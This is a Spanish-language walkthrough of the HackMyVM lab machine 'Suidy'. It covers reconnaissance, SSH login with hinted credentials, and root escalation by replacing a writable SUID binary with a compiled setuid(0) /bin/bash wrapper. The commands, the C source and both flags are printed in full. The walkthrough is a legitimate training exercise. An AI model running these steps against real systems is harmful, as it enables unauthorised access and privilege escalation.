Suidy HackMyVM (Intermediate - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-09 03:22 EDT
Nmap scan report for 192.168.5.8
Host is up (0.00057s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 8a:cb:7e:8a:72:82:84:9a:11:43:61:15:c1:e6:32:0b (RSA)
|   256 7a:0e:b6:dd:8f:ee:a7:70:d9:b1:b5:6e:44:8f:c0:49 (ECDSA)
|_  256 80:18:e6:c7:01:0e:c6:6d:7d:f4:d2:9f:c9:d0:6f:4c (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:19:4F:BB (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.87 seconds

Veremos que hay un puerto 80 que aloja una pagina web, si entramos dentro solamente veremos un hi por lo que no veremos nada interesante, vamos a realizar un poco de fuzzing a ver que encontramos.

Si inspeccionamos el codigo veremos esto en el HTML pero nada fuera de lo normal.

<!-- hi again -->

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.8/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 22]
/robots.txt           (Status: 200) [Size: 362]
Progress: 228894 / 882244 (25.94%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 229030 / 882244 (25.96%)
===============================================================
Finished
===============================================================

Veremos una cosa interesante, tiene un robots.txt por lo que vamos a investigar que contiene.

URL = http://<IP>/robots.txt

Info:

/hi
/....\..\.-\--.\.-\..\-.

Veremos lo que parece ser un codigo morse camuflado entre /\, vamos a quitarle dichas barras y ver que pone.

.... .. .- --. .- .. -.

#DECODIFICADO

hiagain

No veremos nada interesante de nuevo, pero si seguimos investigando en el .txt si bajamos abajo del todo, veremos esto:

/shehatesme

Probemos a entrar dentro, una vez dentro veremos esto:

She hates me because I FOUND THE REAL SECRET! I put in this directory a lot of .txt files. ONE of .txt files contains credentials like "theuser/thepass" to access to her system! All that you need is an small dict from Seclist!

Nos comenta que en este directorio se encuentras las credenciales de un usuario con dicho formato de contraseña, tambien esta hablando en femenino, por lo que puede ser que el usuario sea algun nombre en femenino.

Escalate user theuser

gobuster dir -u http://<IP>/shehatesme -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.8/shehatesme
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 229]
/about.txt            (Status: 200) [Size: 16]
/search.txt           (Status: 200) [Size: 16]
/privacy.txt          (Status: 200) [Size: 16]
/blog.txt             (Status: 200) [Size: 16]
/new.txt              (Status: 200) [Size: 16]
/full.txt             (Status: 200) [Size: 16]
/page.txt             (Status: 200) [Size: 16]
/forums.txt           (Status: 200) [Size: 16]
/jobs.txt             (Status: 200) [Size: 16]
/other.txt            (Status: 200) [Size: 16]
/welcome.txt          (Status: 200) [Size: 16]
/admin.txt            (Status: 200) [Size: 16]
/faqs.txt             (Status: 200) [Size: 16]
/2001.txt             (Status: 200) [Size: 16]
/link.txt             (Status: 200) [Size: 16]
/space.txt            (Status: 200) [Size: 16]
/network.txt          (Status: 200) [Size: 16]
/google.txt           (Status: 200) [Size: 16]
/folder.txt           (Status: 200) [Size: 16]
/java.txt             (Status: 200) [Size: 16]
/issues.txt           (Status: 200) [Size: 16]
/guide.txt            (Status: 200) [Size: 16]
/es.txt               (Status: 200) [Size: 16]
/art.txt              (Status: 200) [Size: 16]
/smilies.txt          (Status: 200) [Size: 16]
/airport.txt          (Status: 200) [Size: 16]
/secret.txt           (Status: 200) [Size: 16]
/procps.txt           (Status: 200) [Size: 16]
/pynfo.txt            (Status: 200) [Size: 16]
/lh2.txt              (Status: 200) [Size: 16]
/muze.txt             (Status: 200) [Size: 16]
/alba.txt             (Status: 200) [Size: 16]
/cymru.txt            (Status: 200) [Size: 16]
/wha.txt              (Status: 200) [Size: 16]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================

Veremos muchisimos archivos, pero solamente uno al que se refiera como un usuario femenino que seria el archivo llamado alba.txt, vamos a ver que vemos dentro de dicho archivo.

jaime11/JKiufg6

Vemos lo que parecen unas credenciales, si las probamos veremos que no nos sirve, por lo que vamos a probar directamente con las credenciales de ejemplo que nos esta mostrando en la pagina web.

User: theuser
Pass: thepass

SSH

Vamos a conectarnos por SSH de la siguiente forma:

ssh theuser@<IP>

Metemos como contraseña thepass y veremos que estamos dentro, por lo que leeremos la flag del usuario.

user.txt

HMV2353IVI

Escalate user suidy

Si listamos los permisos SUID que tenemos con dicho usuario veremos lo siguiente:

find / -type f -perm -4000 -ls 2>/dev/null

Info:

136287     20 -rwsrwsr-x   1 root     theuser     16704 sep 26  2020 /home/suidy/suidyyyyy
     3562     64 -rwsr-xr-x   1 root     root        63568 ene 10  2019 /usr/bin/su
     3890     36 -rwsr-xr-x   1 root     root        34888 ene 10  2019 /usr/bin/umount
     3888     52 -rwsr-xr-x   1 root     root        51280 ene 10  2019 /usr/bin/mount
       62     84 -rwsr-xr-x   1 root     root        84016 jul 27  2018 /usr/bin/gpasswd
       59     56 -rwsr-xr-x   1 root     root        54096 jul 27  2018 /usr/bin/chfn
     3415     44 -rwsr-xr-x   1 root     root        44440 jul 27  2018 /usr/bin/newgrp
       63     64 -rwsr-xr-x   1 root     root        63736 jul 27  2018 /usr/bin/passwd
       60     44 -rwsr-xr-x   1 root     root        44528 jul 27  2018 /usr/bin/chsh
    12498     52 -rwsr-xr--   1 root     messagebus    51184 jun  9  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    15846    428 -rwsr-xr-x   1 root     root         436552 ene 31  2020 /usr/lib/openssh/ssh-keysign
   137189     12 -rwsr-xr-x   1 root     root          10232 mar 28  2017 /usr/lib/eject/dmcrypt-get-device

Veremos este permiso de aqui bastante interesante:

136287  20 -rwsrwsr-x  1 root  theuser  16704 sep 26  2020 /home/suidy/suidyyyyy

Vamos a ejecutar el binario a ver que sucede para analizarlo:

./home/suidy/suidyyyyy

Info:

suidy@suidy:~$ whoami
suidy

Con esto veremos que ya seremos directamente el usuario suidy pero si investigamos mucho no vemos nada interesante con dicho usuario, pero si nos fijamos en los permisos del binario veremos lo siguiente:

-rwsrwsr-x 1 root theuser 16704 sep 26  2020 /home/suidy/suidyyyyy

Vemos que pertenece al grupo de theuser y que con dicho usuario podemos modificar el binario a nuestro gusto, vamos a comprobar que tengamos gcc:

gcc --version

Info:

gcc (Debian 8.3.0-6) 8.3.0
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Vemos que si lo tenemos, ahora nos vamos a pasar el binario de pspy64 para ver los procesos que se estan corriendo por dentro a nivel de sistema, para investigar un poco.

URL = Download pspy64

host

python3 -m http.server 80

Maquina victima

cd /tmp
wget http://<IP_ATTACKER>/pspy64

Ahora lo ejecutaremos de la siguiente forma:

./pspy64

Info:

pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/05/09 09:59:46 CMD: UID=1001  PID=835    | ./pspy64 
2025/05/09 09:59:46 CMD: UID=0     PID=834    | 
2025/05/09 09:59:46 CMD: UID=0     PID=817    | 
2025/05/09 09:59:46 CMD: UID=0     PID=782    | 
2025/05/09 09:59:46 CMD: UID=1001  PID=780    | /bin/bash 
2025/05/09 09:59:46 CMD: UID=1001  PID=779    | sh -c /bin/bash 
2025/05/09 09:59:46 CMD: UID=1001  PID=778    | /home/suidy/suidyyyyy 
2025/05/09 09:59:46 CMD: UID=0     PID=724    | 
2025/05/09 09:59:46 CMD: UID=1000  PID=719    | -bash 
2025/05/09 09:59:46 CMD: UID=1000  PID=718    | sshd: theuser@pts/0  
2025/05/09 09:59:46 CMD: UID=1000  PID=710    | (sd-pam) 
2025/05/09 09:59:46 CMD: UID=1000  PID=709    | /lib/systemd/systemd --user 
2025/05/09 09:59:46 CMD: UID=0     PID=706    | sshd: theuser [priv] 
2025/05/09 09:59:46 CMD: UID=33    PID=425    | nginx: worker process                            
2025/05/09 09:59:46 CMD: UID=0     PID=424    | nginx: master process /usr/sbin/nginx -g daemon on; master_process on; 
2025/05/09 09:59:46 CMD: UID=0     PID=379    | /usr/sbin/sshd -D 
2025/05/09 09:59:46 CMD: UID=0     PID=376    | /sbin/agetty -o -p -- \u --noclear tty1 linux 
2025/05/09 09:59:46 CMD: UID=0     PID=375    | /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3                                                                                                                         
2025/05/09 09:59:46 CMD: UID=0     PID=349    | /usr/sbin/rsyslogd -n -iNONE 
2025/05/09 09:59:46 CMD: UID=0     PID=342    | /lib/systemd/systemd-logind 
2025/05/09 09:59:46 CMD: UID=104   PID=341    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2025/05/09 09:59:46 CMD: UID=0     PID=340    | /usr/sbin/cron -f 
2025/05/09 09:59:46 CMD: UID=0     PID=282    | 
2025/05/09 09:59:46 CMD: UID=0     PID=278    | 
2025/05/09 09:59:46 CMD: UID=101   PID=255    | /lib/systemd/systemd-timesyncd 
2025/05/09 09:59:46 CMD: UID=0     PID=237    | /lib/systemd/systemd-udevd 
2025/05/09 09:59:46 CMD: UID=0     PID=215    | /lib/systemd/systemd-journald 
2025/05/09 09:59:46 CMD: UID=0     PID=185    | 
2025/05/09 09:59:46 CMD: UID=0     PID=184    | 
2025/05/09 09:59:46 CMD: UID=0     PID=182    | 
2025/05/09 09:59:46 CMD: UID=0     PID=151    | 
2025/05/09 09:59:46 CMD: UID=0     PID=109    | 
2025/05/09 09:59:46 CMD: UID=0     PID=107    | 
2025/05/09 09:59:46 CMD: UID=0     PID=106    | 
2025/05/09 09:59:46 CMD: UID=0     PID=104    | 
2025/05/09 09:59:46 CMD: UID=0     PID=102    | 
2025/05/09 09:59:46 CMD: UID=0     PID=59     | 
2025/05/09 09:59:46 CMD: UID=0     PID=50     | 
2025/05/09 09:59:46 CMD: UID=0     PID=49     | 
2025/05/09 09:59:46 CMD: UID=0     PID=48     | 
2025/05/09 09:59:46 CMD: UID=0     PID=30     | 
2025/05/09 09:59:46 CMD: UID=0     PID=29     | 
2025/05/09 09:59:46 CMD: UID=0     PID=28     | 
2025/05/09 09:59:46 CMD: UID=0     PID=27     | 
2025/05/09 09:59:46 CMD: UID=0     PID=26     | 
2025/05/09 09:59:46 CMD: UID=0     PID=25     | 
2025/05/09 09:59:46 CMD: UID=0     PID=24     | 
2025/05/09 09:59:46 CMD: UID=0     PID=23     | 
2025/05/09 09:59:46 CMD: UID=0     PID=22     | 
2025/05/09 09:59:46 CMD: UID=0     PID=21     | 
2025/05/09 09:59:46 CMD: UID=0     PID=20     | 
2025/05/09 09:59:46 CMD: UID=0     PID=19     | 
2025/05/09 09:59:46 CMD: UID=0     PID=18     | 
2025/05/09 09:59:46 CMD: UID=0     PID=17     | 
2025/05/09 09:59:46 CMD: UID=0     PID=16     | 
2025/05/09 09:59:46 CMD: UID=0     PID=15     | 
2025/05/09 09:59:46 CMD: UID=0     PID=14     | 
2025/05/09 09:59:46 CMD: UID=0     PID=12     | 
2025/05/09 09:59:46 CMD: UID=0     PID=11     | 
2025/05/09 09:59:46 CMD: UID=0     PID=10     | 
2025/05/09 09:59:46 CMD: UID=0     PID=9      | 
2025/05/09 09:59:46 CMD: UID=0     PID=8      | 
2025/05/09 09:59:46 CMD: UID=0     PID=7      | 
2025/05/09 09:59:46 CMD: UID=0     PID=6      | 
2025/05/09 09:59:46 CMD: UID=0     PID=4      | 
2025/05/09 09:59:46 CMD: UID=0     PID=3      | 
2025/05/09 09:59:46 CMD: UID=0     PID=2      | 
2025/05/09 09:59:46 CMD: UID=0     PID=1      | /sbin/init
2025/05/09 10:00:01 CMD: UID=0     PID=843    | /usr/sbin/CRON -f 
2025/05/09 10:00:01 CMD: UID=0     PID=844    | /usr/sbin/CRON -f 
2025/05/09 10:00:01 CMD: UID=0     PID=845    | /bin/sh -c sh /root/timer.sh 
2025/05/09 10:00:01 CMD: UID=0     PID=846    | sh /root/timer.sh

Vemos que se esta ejecutando un crontab como el usuario root en este caso con el script llamado timer.sh el cual podemos creer que puede estar ejecutando el binario llamado suidyyyyy el cual podemos modificar, por lo que vamos a realizar lo siguiente a ver si funciona.

Vamos a crear un binario y compilarlo en la maquina victima.

suid.c

#include <stdlib.h>
#include <unistd.h>

int main()
{
   setuid(0);
   setgid(0);
   system("/bin/bash");
   return 0;
}

Ahora lo compilamos de la siguiente forma en la home de suidy.

exit # Para volver al usuario de "theuser"
cd /tmp
gcc /tmp/suid.c -o suidyyyyy
cp suidyyyyy /home/suidy/suidyyyyy

Ahora tendremos que esperar un poco, una vez esperado un poco ejecutaremos lo siguiente:

/home/suidy/suidyyyyy

Info:

root@suidy:/home/suidy# whoami
root

Y con esto veremos que seremos root por lo que leeremos la flag de root.

root.txt

HMV0000EVE

Last updated